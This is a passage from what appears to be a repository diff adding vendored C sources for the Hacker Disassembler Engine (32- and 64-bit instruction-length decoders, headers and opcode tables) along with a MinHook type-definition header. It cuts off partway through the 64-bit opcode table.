ht = hde32_table + DELTA_PREFIXES;
if (ht[ht[opcode / 4] + (opcode % 4)] & pref)
hs->flags |= F_ERROR | F_ERROR_OPCODE;
}
if (cflags & C_MODRM) {
hs->flags |= F_MODRM;
hs->modrm = c = *p++;
hs->modrm_mod = m_mod = c >> 6;
hs->modrm_rm = m_rm = c & 7;
hs->modrm_reg = m_reg = (c & 0x3f) >> 3;
if (x && ((x << m_reg) & 0x80))
hs->flags |= F_ERROR | F_ERROR_OPCODE;
if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) {
uint8_t t = opcode - 0xd9;
if (m_mod == 3) {
ht = hde32_table + DELTA_FPU_MODRM + t*8;
t = ht[m_reg] << m_rm;
} else {
ht = hde32_table + DELTA_FPU_REG;
t = ht[t] << m_reg;
}
if (t & 0x80)
hs->flags |= F_ERROR | F_ERROR_OPCODE;
}
if (pref & PRE_LOCK) {
if (m_mod == 3) {
hs->flags |= F_ERROR | F_ERROR_LOCK;
} else {
uint8_t *table_end, op = opcode;
if (hs->opcode2) {
ht = hde32_table + DELTA_OP2_LOCK_OK;
table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK;
} else {
ht = hde32_table + DELTA_OP_LOCK_OK;
table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK;
op &= -2;
}
for (; ht != table_end; ht++)
if (*ht++ == op) {
if (!((*ht << m_reg) & 0x80))
goto no_lock_error;
else
break;
}
hs->flags |= F_ERROR | F_ERROR_LOCK;
no_lock_error:
;
}
}
if (hs->opcode2) {
switch (opcode) {
case 0x20: case 0x22:
m_mod = 3;
if (m_reg > 4 || m_reg == 1)
goto error_operand;
else
goto no_error_operand;
case 0x21: case 0x23:
m_mod = 3;
if (m_reg == 4 || m_reg == 5)
goto error_operand;
else
goto no_error_operand;
}
} else {
switch (opcode) {
case 0x8c:
if (m_reg > 5)
goto error_operand;
else
goto no_error_operand;
case 0x8e:
if (m_reg == 1 || m_reg > 5)
goto error_operand;
else
goto no_error_operand;
}
}
if (m_mod == 3) {
uint8_t *table_end;
if (hs->opcode2) {
ht = hde32_table + DELTA_OP2_ONLY_MEM;
table_end = ht + sizeof(hde32_table) - DELTA_OP2_ONLY_MEM;
} else {
ht = hde32_table + DELTA_OP_ONLY_MEM;
table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM;
}
for (; ht != table_end; ht += 2)
if (*ht++ == opcode) {
if ((*ht++ & pref) && !((*ht << m_reg) & 0x80))
goto error_operand;
else
break;
}
goto no_error_operand;
} else if (hs->opcode2) {
switch (opcode) {
case 0x50: case 0xd7: case 0xf7:
if (pref & (PRE_NONE | PRE_66))
goto error_operand;
break;
case 0xd6:
if (pref & (PRE_F2 | PRE_F3))
goto error_operand;
break;
case 0xc5:
goto error_operand;
}
goto no_error_operand;
} else
goto no_error_operand;
error_operand:
hs->flags |= F_ERROR | F_ERROR_OPERAND;
no_error_operand:
c = *p++;
if (m_reg <= 1) {
if (opcode == 0xf6)
cflags |= C_IMM8;
else if (opcode == 0xf7)
cflags |= C_IMM_P66;
}
switch (m_mod) {
case 0:
if (pref & PRE_67) {
if (m_rm == 6)
disp_size = 2;
} else
if (m_rm == 5)
disp_size = 4;
break;
case 1:
disp_size = 1;
break;
case 2:
disp_size = 2;
if (!(pref & PRE_67))
disp_size <<= 1;
break;
}
if (m_mod != 3 && m_rm == 4 && !(pref & PRE_67)) {
hs->flags |= F_SIB;
p++;
hs->sib = c;
hs->sib_scale = c >> 6;
hs->sib_index = (c & 0x3f) >> 3;
if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1))
disp_size = 4;
}
p--;
switch (disp_size) {
case 1:
hs->flags |= F_DISP8;
hs->disp.disp8 = *p;
break;
case 2:
hs->flags |= F_DISP16;
hs->disp.disp16 = *(uint16_t *)p;
break;
case 4:
hs->flags |= F_DISP32;
hs->disp.disp32 = *(uint32_t *)p;
break;
}
p += disp_size;
} else if (pref & PRE_LOCK)
hs->flags |= F_ERROR | F_ERROR_LOCK;
if (cflags & C_IMM_P66) {
if (cflags & C_REL32) {
if (pref & PRE_66) {
hs->flags |= F_IMM16 | F_RELATIVE;
hs->imm.imm16 = *(uint16_t *)p;
p += 2;
goto disasm_done;
}
goto rel32_ok;
}
if (pref & PRE_66) {
hs->flags |= F_IMM16;
hs->imm.imm16 = *(uint16_t *)p;
p += 2;
} else {
hs->flags |= F_IMM32;
hs->imm.imm32 = *(uint32_t *)p;
p += 4;
}
}
if (cflags & C_IMM16) {
if (hs->flags & F_IMM32) {
hs->flags |= F_IMM16;
hs->disp.disp16 = *(uint16_t *)p;
} else if (hs->flags & F_IMM16) {
hs->flags |= F_2IMM16;
hs->disp.disp16 = *(uint16_t *)p;
} else {
hs->flags |= F_IMM16;
hs->imm.imm16 = *(uint16_t *)p;
}
p += 2;
}
if (cflags & C_IMM8) {
hs->flags |= F_IMM8;
hs->imm.imm8 = *p++;
}
if (cflags & C_REL32) {
rel32_ok:
hs->flags |= F_IMM32 | F_RELATIVE;
hs->imm.imm32 = *(uint32_t *)p;
p += 4;
} else if (cflags & C_REL8) {
hs->flags |= F_IMM8 | F_RELATIVE;
hs->imm.imm8 = *p++;
}
disasm_done:
if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) {
hs->flags |= F_ERROR | F_ERROR_LENGTH;
hs->len = 15;
}
return (unsigned int)hs->len;
}
#endif // defined(_M_IX86) || defined(__i386__)
+105
View File
@@ -0,0 +1,105 @@
/*
* Hacker Disassembler Engine 32
* Copyright (c) 2006-2009, Vyacheslav Patkov.
* All rights reserved.
*
* hde32.h: C/C++ header file
*
*/
#ifndef _HDE32_H_
#define _HDE32_H_
/* stdint.h - C99 standard header
* http://en.wikipedia.org/wiki/stdint.h
*
* if your compiler doesn't contain "stdint.h" header (for
* example, Microsoft Visual C++), you can download file:
* http://www.azillionmonkeys.com/qed/pstdint.h
* and change next line to:
* #include "pstdint.h"
*/
#include "pstdint.h"
#define F_MODRM 0x00000001
#define F_SIB 0x00000002
#define F_IMM8 0x00000004
#define F_IMM16 0x00000008
#define F_IMM32 0x00000010
#define F_DISP8 0x00000020
#define F_DISP16 0x00000040
#define F_DISP32 0x00000080
#define F_RELATIVE 0x00000100
#define F_2IMM16 0x00000800
#define F_ERROR 0x00001000
#define F_ERROR_OPCODE 0x00002000
#define F_ERROR_LENGTH 0x00004000
#define F_ERROR_LOCK 0x00008000
#define F_ERROR_OPERAND 0x00010000
#define F_PREFIX_REPNZ 0x01000000
#define F_PREFIX_REPX 0x02000000
#define F_PREFIX_REP 0x03000000
#define F_PREFIX_66 0x04000000
#define F_PREFIX_67 0x08000000
#define F_PREFIX_LOCK 0x10000000
#define F_PREFIX_SEG 0x20000000
#define F_PREFIX_ANY 0x3f000000
#define PREFIX_SEGMENT_CS 0x2e
#define PREFIX_SEGMENT_SS 0x36
#define PREFIX_SEGMENT_DS 0x3e
#define PREFIX_SEGMENT_ES 0x26
#define PREFIX_SEGMENT_FS 0x64
#define PREFIX_SEGMENT_GS 0x65
#define PREFIX_LOCK 0xf0
#define PREFIX_REPNZ 0xf2
#define PREFIX_REPX 0xf3
#define PREFIX_OPERAND_SIZE 0x66
#define PREFIX_ADDRESS_SIZE 0x67
#pragma pack(push,1)
typedef struct {
uint8_t len;
uint8_t p_rep;
uint8_t p_lock;
uint8_t p_seg;
uint8_t p_66;
uint8_t p_67;
uint8_t opcode;
uint8_t opcode2;
uint8_t modrm;
uint8_t modrm_mod;
uint8_t modrm_reg;
uint8_t modrm_rm;
uint8_t sib;
uint8_t sib_scale;
uint8_t sib_index;
uint8_t sib_base;
union {
uint8_t imm8;
uint16_t imm16;
uint32_t imm32;
} imm;
union {
uint8_t disp8;
uint16_t disp16;
uint32_t disp32;
} disp;
uint32_t flags;
} hde32s;
#pragma pack(pop)
#ifdef __cplusplus
extern "C" {
#endif
/* __cdecl */
unsigned int hde32_disasm(const void *code, hde32s *hs);
#ifdef __cplusplus
}
#endif
#endif /* _HDE32_H_ */
+335
View File
@@ -0,0 +1,335 @@
/*
* Hacker Disassembler Engine 64 C
* Copyright (c) 2008-2009, Vyacheslav Patkov.
* All rights reserved.
*
*/
#if defined(_M_X64) || defined(__x86_64__)
#include <string.h>
#include "hde64.h"
#include "table64.h"
unsigned int hde64_disasm(const void *code, hde64s *hs)
{
uint8_t x, c, *p = (uint8_t *)code, cflags, opcode, pref = 0;
uint8_t *ht = hde64_table, m_mod, m_reg, m_rm, disp_size = 0;
uint8_t op64 = 0;
memset(hs, 0, sizeof(hde64s));
for (x = 16; x; x--)
switch (c = *p++) {
case 0xf3:
hs->p_rep = c;
pref |= PRE_F3;
break;
case 0xf2:
hs->p_rep = c;
pref |= PRE_F2;
break;
case 0xf0:
hs->p_lock = c;
pref |= PRE_LOCK;
break;
case 0x26: case 0x2e: case 0x36:
case 0x3e: case 0x64: case 0x65:
hs->p_seg = c;
pref |= PRE_SEG;
break;
case 0x66:
hs->p_66 = c;
pref |= PRE_66;
break;
case 0x67:
hs->p_67 = c;
pref |= PRE_67;
break;
default:
goto pref_done;
}
pref_done:
hs->flags = (uint32_t)pref << 23;
if (!pref)
pref |= PRE_NONE;
if ((c & 0xf0) == 0x40) {
hs->flags |= F_PREFIX_REX;
if ((hs->rex_w = (c & 0xf) >> 3) && (*p & 0xf8) == 0xb8)
op64++;
hs->rex_r = (c & 7) >> 2;
hs->rex_x = (c & 3) >> 1;
hs->rex_b = c & 1;
if (((c = *p++) & 0xf0) == 0x40) {
opcode = c;
goto error_opcode;
}
}
if ((hs->opcode = c) == 0x0f) {
hs->opcode2 = c = *p++;
ht += DELTA_OPCODES;
} else if (c >= 0xa0 && c <= 0xa3) {
op64++;
if (pref & PRE_67)
pref |= PRE_66;
else
pref &= ~PRE_66;
}
opcode = c;
cflags = ht[ht[opcode / 4] + (opcode % 4)];
if (cflags == C_ERROR) {
error_opcode:
hs->flags |= F_ERROR | F_ERROR_OPCODE;
cflags = 0;
if ((opcode & -3) == 0x24)
cflags++;
}
x = 0;
if (cflags & C_GROUP) {
uint16_t t;
t = *(uint16_t *)(ht + (cflags & 0x7f));
cflags = (uint8_t)t;
x = (uint8_t)(t >> 8);
}
if (hs->opcode2) {
ht = hde64_table + DELTA_PREFIXES;
if (ht[ht[opcode / 4] + (opcode % 4)] & pref)
hs->flags |= F_ERROR | F_ERROR_OPCODE;
}
if (cflags & C_MODRM) {
hs->flags |= F_MODRM;
hs->modrm = c = *p++;
hs->modrm_mod = m_mod = c >> 6;
hs->modrm_rm = m_rm = c & 7;
hs->modrm_reg = m_reg = (c & 0x3f) >> 3;
if (x && ((x << m_reg) & 0x80))
hs->flags |= F_ERROR | F_ERROR_OPCODE;
if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) {
uint8_t t = opcode - 0xd9;
if (m_mod == 3) {
ht = hde64_table + DELTA_FPU_MODRM + t*8;
t = ht[m_reg] << m_rm;
} else {
ht = hde64_table + DELTA_FPU_REG;
t = ht[t] << m_reg;
}
if (t & 0x80)
hs->flags |= F_ERROR | F_ERROR_OPCODE;
}
if (pref & PRE_LOCK) {
if (m_mod == 3) {
hs->flags |= F_ERROR | F_ERROR_LOCK;
} else {
uint8_t *table_end, op = opcode;
if (hs->opcode2) {
ht = hde64_table + DELTA_OP2_LOCK_OK;
table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK;
} else {
ht = hde64_table + DELTA_OP_LOCK_OK;
table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK;
op &= -2;
}
for (; ht != table_end; ht++)
if (*ht++ == op) {
if (!((*ht << m_reg) & 0x80))
goto no_lock_error;
else
break;
}
hs->flags |= F_ERROR | F_ERROR_LOCK;
no_lock_error:
;
}
}
if (hs->opcode2) {
switch (opcode) {
case 0x20: case 0x22:
m_mod = 3;
if (m_reg > 4 || m_reg == 1)
goto error_operand;
else
goto no_error_operand;
case 0x21: case 0x23:
m_mod = 3;
if (m_reg == 4 || m_reg == 5)
goto error_operand;
else
goto no_error_operand;
}
} else {
switch (opcode) {
case 0x8c:
if (m_reg > 5)
goto error_operand;
else
goto no_error_operand;
case 0x8e:
if (m_reg == 1 || m_reg > 5)
goto error_operand;
else
goto no_error_operand;
}
}
if (m_mod == 3) {
uint8_t *table_end;
if (hs->opcode2) {
ht = hde64_table + DELTA_OP2_ONLY_MEM;
table_end = ht + sizeof(hde64_table) - DELTA_OP2_ONLY_MEM;
} else {
ht = hde64_table + DELTA_OP_ONLY_MEM;
table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM;
}
for (; ht != table_end; ht += 2)
if (*ht++ == opcode) {
if ((*ht++ & pref) && !((*ht << m_reg) & 0x80))
goto error_operand;
else
break;
}
goto no_error_operand;
} else if (hs->opcode2) {
switch (opcode) {
case 0x50: case 0xd7: case 0xf7:
if (pref & (PRE_NONE | PRE_66))
goto error_operand;
break;
case 0xd6:
if (pref & (PRE_F2 | PRE_F3))
goto error_operand;
break;
case 0xc5:
goto error_operand;
}
goto no_error_operand;
} else
goto no_error_operand;
error_operand:
hs->flags |= F_ERROR | F_ERROR_OPERAND;
no_error_operand:
c = *p++;
if (m_reg <= 1) {
if (opcode == 0xf6)
cflags |= C_IMM8;
else if (opcode == 0xf7)
cflags |= C_IMM_P66;
}
switch (m_mod) {
case 0:
if (pref & PRE_67) {
if (m_rm == 6)
disp_size = 2;
} else
if (m_rm == 5)
disp_size = 4;
break;
case 1:
disp_size = 1;
break;
case 2:
disp_size = 2;
if (!(pref & PRE_67))
disp_size <<= 1;
break;
}
if (m_mod != 3 && m_rm == 4) {
hs->flags |= F_SIB;
p++;
hs->sib = c;
hs->sib_scale = c >> 6;
hs->sib_index = (c & 0x3f) >> 3;
if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1))
disp_size = 4;
}
p--;
switch (disp_size) {
case 1:
hs->flags |= F_DISP8;
hs->disp.disp8 = *p;
break;
case 2:
hs->flags |= F_DISP16;
hs->disp.disp16 = *(uint16_t *)p;
break;
case 4:
hs->flags |= F_DISP32;
hs->disp.disp32 = *(uint32_t *)p;
break;
}
p += disp_size;
} else if (pref & PRE_LOCK)
hs->flags |= F_ERROR | F_ERROR_LOCK;
if (cflags & C_IMM_P66) {
if (cflags & C_REL32) {
if (pref & PRE_66) {
hs->flags |= F_IMM16 | F_RELATIVE;
hs->imm.imm16 = *(uint16_t *)p;
p += 2;
goto disasm_done;
}
goto rel32_ok;
}
if (op64) {
hs->flags |= F_IMM64;
hs->imm.imm64 = *(uint64_t *)p;
p += 8;
} else if (!(pref & PRE_66)) {
hs->flags |= F_IMM32;
hs->imm.imm32 = *(uint32_t *)p;
p += 4;
} else
goto imm16_ok;
}
if (cflags & C_IMM16) {
imm16_ok:
hs->flags |= F_IMM16;
hs->imm.imm16 = *(uint16_t *)p;
p += 2;
}
if (cflags & C_IMM8) {
hs->flags |= F_IMM8;
hs->imm.imm8 = *p++;
}
if (cflags & C_REL32) {
rel32_ok:
hs->flags |= F_IMM32 | F_RELATIVE;
hs->imm.imm32 = *(uint32_t *)p;
p += 4;
} else if (cflags & C_REL8) {
hs->flags |= F_IMM8 | F_RELATIVE;
hs->imm.imm8 = *p++;
}
disasm_done:
if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) {
hs->flags |= F_ERROR | F_ERROR_LENGTH;
hs->len = 15;
}
return (unsigned int)hs->len;
}
#endif // defined(_M_X64) || defined(__x86_64__)
+112
View File
@@ -0,0 +1,112 @@
/*
* Hacker Disassembler Engine 64
* Copyright (c) 2008-2009, Vyacheslav Patkov.
* All rights reserved.
*
* hde64.h: C/C++ header file
*
*/
#ifndef _HDE64_H_
#define _HDE64_H_
/* stdint.h - C99 standard header
* http://en.wikipedia.org/wiki/stdint.h
*
* if your compiler doesn't contain "stdint.h" header (for
* example, Microsoft Visual C++), you can download file:
* http://www.azillionmonkeys.com/qed/pstdint.h
* and change next line to:
* #include "pstdint.h"
*/
#include "pstdint.h"
#define F_MODRM 0x00000001
#define F_SIB 0x00000002
#define F_IMM8 0x00000004
#define F_IMM16 0x00000008
#define F_IMM32 0x00000010
#define F_IMM64 0x00000020
#define F_DISP8 0x00000040
#define F_DISP16 0x00000080
#define F_DISP32 0x00000100
#define F_RELATIVE 0x00000200
#define F_ERROR 0x00001000
#define F_ERROR_OPCODE 0x00002000
#define F_ERROR_LENGTH 0x00004000
#define F_ERROR_LOCK 0x00008000
#define F_ERROR_OPERAND 0x00010000
#define F_PREFIX_REPNZ 0x01000000
#define F_PREFIX_REPX 0x02000000
#define F_PREFIX_REP 0x03000000
#define F_PREFIX_66 0x04000000
#define F_PREFIX_67 0x08000000
#define F_PREFIX_LOCK 0x10000000
#define F_PREFIX_SEG 0x20000000
#define F_PREFIX_REX 0x40000000
#define F_PREFIX_ANY 0x7f000000
#define PREFIX_SEGMENT_CS 0x2e
#define PREFIX_SEGMENT_SS 0x36
#define PREFIX_SEGMENT_DS 0x3e
#define PREFIX_SEGMENT_ES 0x26
#define PREFIX_SEGMENT_FS 0x64
#define PREFIX_SEGMENT_GS 0x65
#define PREFIX_LOCK 0xf0
#define PREFIX_REPNZ 0xf2
#define PREFIX_REPX 0xf3
#define PREFIX_OPERAND_SIZE 0x66
#define PREFIX_ADDRESS_SIZE 0x67
#pragma pack(push,1)
typedef struct {
uint8_t len;
uint8_t p_rep;
uint8_t p_lock;
uint8_t p_seg;
uint8_t p_66;
uint8_t p_67;
uint8_t rex;
uint8_t rex_w;
uint8_t rex_r;
uint8_t rex_x;
uint8_t rex_b;
uint8_t opcode;
uint8_t opcode2;
uint8_t modrm;
uint8_t modrm_mod;
uint8_t modrm_reg;
uint8_t modrm_rm;
uint8_t sib;
uint8_t sib_scale;
uint8_t sib_index;
uint8_t sib_base;
union {
uint8_t imm8;
uint16_t imm16;
uint32_t imm32;
uint64_t imm64;
} imm;
union {
uint8_t disp8;
uint16_t disp16;
uint32_t disp32;
} disp;
uint32_t flags;
} hde64s;
#pragma pack(pop)
#ifdef __cplusplus
extern "C" {
#endif
/* __cdecl */
unsigned int hde64_disasm(const void *code, hde64s *hs);
#ifdef __cplusplus
}
#endif
#endif /* _HDE64_H_ */
+39
View File
@@ -0,0 +1,39 @@
/*
* MinHook - The Minimalistic API Hooking Library for x64/x86
* Copyright (C) 2009-2017 Tsuda Kageyu. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#pragma once
#include <windows.h>
// Integer types for HDE.
typedef INT8 int8_t;
typedef INT16 int16_t;
typedef INT32 int32_t;
typedef INT64 int64_t;
typedef UINT8 uint8_t;
typedef UINT16 uint16_t;
typedef UINT32 uint32_t;
typedef UINT64 uint64_t;
+73
View File
@@ -0,0 +1,73 @@
/*
* Hacker Disassembler Engine 32 C
* Copyright (c) 2008-2009, Vyacheslav Patkov.
* All rights reserved.
*
*/
#define C_NONE 0x00
#define C_MODRM 0x01
#define C_IMM8 0x02
#define C_IMM16 0x04
#define C_IMM_P66 0x10
#define C_REL8 0x20
#define C_REL32 0x40
#define C_GROUP 0x80
#define C_ERROR 0xff
#define PRE_ANY 0x00
#define PRE_NONE 0x01
#define PRE_F2 0x02
#define PRE_F3 0x04
#define PRE_66 0x08
#define PRE_67 0x10
#define PRE_LOCK 0x20
#define PRE_SEG 0x40
#define PRE_ALL 0xff
#define DELTA_OPCODES 0x4a
#define DELTA_FPU_REG 0xf1
#define DELTA_FPU_MODRM 0xf8
#define DELTA_PREFIXES 0x130
#define DELTA_OP_LOCK_OK 0x1a1
#define DELTA_OP2_LOCK_OK 0x1b9
#define DELTA_OP_ONLY_MEM 0x1cb
#define DELTA_OP2_ONLY_MEM 0x1da
unsigned char hde32_table[] = {
0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,
0xa8,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xac,0xaa,0xb2,0xaa,0x9f,0x9f,
0x9f,0x9f,0xb5,0xa3,0xa3,0xa4,0xaa,0xaa,0xba,0xaa,0x96,0xaa,0xa8,0xaa,0xc3,
0xc3,0x96,0x96,0xb7,0xae,0xd6,0xbd,0xa3,0xc5,0xa3,0xa3,0x9f,0xc3,0x9c,0xaa,
0xaa,0xac,0xaa,0xbf,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0x90,
0x82,0x7d,0x97,0x59,0x59,0x59,0x59,0x59,0x7f,0x59,0x59,0x60,0x7d,0x7f,0x7f,
0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x9a,0x88,0x7d,
0x59,0x50,0x50,0x50,0x50,0x59,0x59,0x59,0x59,0x61,0x94,0x61,0x9e,0x59,0x59,
0x85,0x59,0x92,0xa3,0x60,0x60,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,
0x59,0x59,0x9f,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xcc,0x01,0xbc,0x03,0xf0,
0x10,0x10,0x10,0x10,0x50,0x50,0x50,0x50,0x14,0x20,0x20,0x20,0x20,0x01,0x01,
0x01,0x01,0xc4,0x02,0x10,0x00,0x00,0x00,0x00,0x01,0x01,0xc0,0xc2,0x10,0x11,
0x02,0x03,0x11,0x03,0x03,0x04,0x00,0x00,0x14,0x00,0x02,0x00,0x00,0xc6,0xc8,
0x02,0x02,0x02,0x02,0x00,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0xca,
0x01,0x01,0x01,0x00,0x06,0x00,0x04,0x00,0xc0,0xc2,0x01,0x01,0x03,0x01,0xff,
0xff,0x01,0x00,0x03,0xc4,0xc4,0xc6,0x03,0x01,0x01,0x01,0xff,0x03,0x03,0x03,
0xc8,0x40,0x00,0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,
0x00,0x00,0x00,0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,
0x00,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0xff,0xff,0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x7f,0x00,0x00,0xff,0x4a,0x4a,0x4a,0x4a,0x4b,0x52,0x4a,0x4a,0x4a,0x4a,0x4f,
0x4c,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x55,0x45,0x40,0x4a,0x4a,0x4a,
0x45,0x59,0x4d,0x46,0x4a,0x5d,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,
0x4a,0x4a,0x4a,0x4a,0x4a,0x61,0x63,0x67,0x4e,0x4a,0x4a,0x6b,0x6d,0x4a,0x4a,
0x45,0x6d,0x4a,0x4a,0x44,0x45,0x4a,0x4a,0x00,0x00,0x00,0x02,0x0d,0x06,0x06,
0x06,0x06,0x0e,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x00,0x06,0x06,0x02,0x06,
0x00,0x0a,0x0a,0x07,0x07,0x06,0x02,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04,
0x04,0x04,0x00,0x00,0x00,0x0e,0x05,0x06,0x06,0x06,0x01,0x06,0x00,0x00,0x08,
0x00,0x10,0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,
0x86,0x00,0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,
0xf8,0xbb,0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,
0xc4,0xff,0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,
0x13,0x09,0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,
0xb2,0xff,0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,
0xe7,0x08,0x00,0xf0,0x02,0x00
};
+74
View File
@@ -0,0 +1,74 @@
/*
* Hacker Disassembler Engine 64 C
* Copyright (c) 2008-2009, Vyacheslav Patkov.
* All rights reserved.
*
*/
#define C_NONE 0x00
#define C_MODRM 0x01
#define C_IMM8 0x02
#define C_IMM16 0x04
#define C_IMM_P66 0x10
#define C_REL8 0x20
#define C_REL32 0x40
#define C_GROUP 0x80
#define C_ERROR 0xff
#define PRE_ANY 0x00
#define PRE_NONE 0x01
#define PRE_F2 0x02
#define PRE_F3 0x04
#define PRE_66 0x08
#define PRE_67 0x10
#define PRE_LOCK 0x20
#define PRE_SEG 0x40
#define PRE_ALL 0xff
#define DELTA_OPCODES 0x4a
#define DELTA_FPU_REG 0xfd
#define DELTA_FPU_MODRM 0x104
#define DELTA_PREFIXES 0x13c
#define DELTA_OP_LOCK_OK 0x1ae
#define DELTA_OP2_LOCK_OK 0x1c6
#define DELTA_OP_ONLY_MEM 0x1d8
#define DELTA_OP2_ONLY_MEM 0x1e7
unsigned char hde64_table[] = {
0xa5,0xaa,0xa5,0xb8,0xa5,0xaa,0xa5,0xaa,0xa5,0xb8,0xa5,0xb8,0xa5,0xb8,0xa5,
0xb8,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xac,0xc0,0xcc,0xc0,0xa1,0xa1,
0xa1,0xa1,0xb1,0xa5,0xa5,0xa6,0xc0,0xc0,0xd7,0xda,0xe0,0xc0,0xe4,0xc0,0xea,
0xea,0xe0,0xe0,0x98,0xc8,0xee,0xf1,0xa5,0xd3,0xa5,0xa5,0xa1,0xea,0x9e,0xc0,
0xc0,0xc2,0xc0,0xe6,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0xab,
0x8b,0x90,0x64,0x5b,0x5b,0x5b,0x5b,0x5b,0x92,0x5b,0x5b,0x76,0x90,0x92,0x92,
0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x6a,0x73,0x90,
0x5b,0x52,0x52,0x52,0x52,0x5b,0x5b,0x5b,0x5b,0x77,0x7c,0x77,0x85,0x5b,0x5b,
0x70,0x5b,0x7a,0xaf,0x76,0x76,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,
0x5b,0x5b,0x86,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xd5,0x03,0xcc,0x01,0xbc,
0x03,0xf0,0x03,0x03,0x04,0x00,0x50,0x50,0x50,0x50,0xff,0x20,0x20,0x20,0x20,
0x01,0x01,0x01,0x01,0xc4,0x02,0x10,0xff,0xff,0xff,0x01,0x00,0x03,0x11,0xff,
0x03,0xc4,0xc6,0xc8,0x02,0x10,0x00,0xff,0xcc,0x01,0x01,0x01,0x00,0x00,0x00,
0x00,0x01,0x01,0x03,0x01,0xff,0xff,0xc0,0xc2,0x10,0x11,0x02,0x03,0x01,0x01,
0x01,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0x00,0x00,0xff,0xff,0xff,0xff,0x10,
0x10,0x10,0x10,0x02,0x10,0x00,0x00,0xc6,0xc8,0x02,0x02,0x02,0x02,0x06,0x00,
0x04,0x00,0x02,0xff,0x00,0xc0,0xc2,0x01,0x01,0x03,0x03,0x03,0xca,0x40,0x00,
0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0xff,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,
0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7f,0x00,0x00,
0xff,0x40,0x40,0x40,0x40,0x41,0x49,0x40,0x40,0x40,0x40,0x4c,0x42,0x40,0x40,
0x40,0x40,0x40,0x40,0x40,0x40,0x4f,0x44,0x53,0x40,0x40,0x40,0x44,0x57,0x43,
0x5c,0x40,0x60,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,
